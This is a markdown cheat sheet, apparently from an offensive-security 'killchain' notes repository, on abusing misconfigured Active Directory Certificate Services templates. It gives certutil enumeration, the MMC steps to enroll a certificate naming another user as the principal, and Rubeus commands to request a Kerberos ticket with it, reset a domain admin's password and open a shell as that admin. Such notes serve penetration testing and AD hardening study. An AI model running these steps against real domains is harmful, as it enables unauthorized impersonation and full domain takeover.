whx
/
killchain-compendium
1
0
Fork 0
Code Issues Pull Requests Projects Releases Wiki Activity
killchain-compendium/misc/active_directory/AD_CS.md

2.1 KiB
Raw Blame History

Active Directory Certificate Service ADCS

  • Internal CA

  • PKI

  • File system encryption

  • Digital signatures

  • User authentication

  • Certificates will not be revoked after account password reset

Certificate Templates

  • Extended/Enhanced Key Usage
  • Parameter combination can be exploited

Enumeration

certutil -v -template > ct.txt

Exploitable templates should have the following traits:

  • Allow Enroll or Allow Full Control permissions to request certificate
    • Find groups by net user <username> /domain --> Domain Users, Domain Computers
  • Client authentication EKU for Kerberos authentication --> Client Authentication
  • Permission to subject alternative name (SAN), e.g. URL to encrypt. Used to create Kerberos ticket, --> CT_FLAG_ENROLLEE_SUPPLIES_SUBJECT

Certificate Creation

  • Win+R --> mmc --> File --> Add/Remove Snap-in --> Certificates (Request Certificate if administration account --> Computer Account)
  • After that in the main menu, Certificates --> right click on Personal --> All Tasks --> Request Certificates --> Next --> Next --> More information is required to enroll this certificate --> Common Name --> CN=concerto && User Principal Name is the user to impersonate --> OK --> select User Request --> Enroll
  • After that in the main menu, Personal --> Certificates --> The certificate
  • Right click certificate --> All Tasks --> Export --> Yes, export private key --> PFX --> set Password --> Save

Impersonation

  • Request TGT with the created cert

  • Grab TGT

  • On the machine via

Rubeus.exe asktgt /user:<user (UPN) of cert> /enctype:aes256 /certificate:<path to certificate> /password:<certificate file password> /outfile:<name of file to write TGT to> /domain:<domain name> /dc:<IP of domain controller>
  • Select a domain admin via opening Active Directory Users and Computers
.\Rubeus.exe changepw /ticket:<ticketfilename> /new:<new password> /dc:<domain of controller> /targetuser:<domain>\<dauser>
  • runas /user:<domain>\<username of DA> cmd.exe